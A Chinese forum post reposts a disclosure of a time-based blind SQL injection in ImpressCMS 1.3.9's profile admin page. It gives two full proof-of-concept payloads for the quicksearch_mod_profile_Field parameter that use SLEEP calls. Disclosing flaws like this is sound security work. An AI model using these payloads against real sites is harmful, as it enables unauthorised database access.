请选择 进入手机版 | 继续访问电脑版
查看: 1482|回复: 0

ImpressCMS 1.3.9注入漏洞

[复制链接]
  • TA的每日心情

    昨天 19:07
  • 签到天数: 928 天

    [LV.10]以坛为家III

    发表于 2016-4-23 15:38:43 | 显示全部楼层 |阅读模式
    versions 1.3.9

    [PHP] 纯文本查看 复制代码
    It is possible to inject SQL code in the variable
    "quicksearch_mod_profile_Field" on the page
    "/modules/profile/admin/field.php".
     
    PROOF OF CONCEPT
    -------------------------
    The following URL's and parameters have been confirmed to all suffer from
    Time Based Blind SQL injection.
     
    quicksearch_mod_profile_Field=aaaa') AND (SELECT * FROM
    (SELECT(SLEEP(1)))IRLV) AND ('DhUh' LIKE
    'DhUh&button_quicksearch_mod_profile_Field=Search&filtersel=default&limitsel=15
     
    quicksearch_mod_profile_Field=aaaa') AND (SELECT * FROM
    (SELECT(SLEEP(5)))IRLV) AND ('DhUh' LIKE
    'DhUh&button_quicksearch_mod_profile_Field=Search&filtersel=default&limitsel=15
    
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表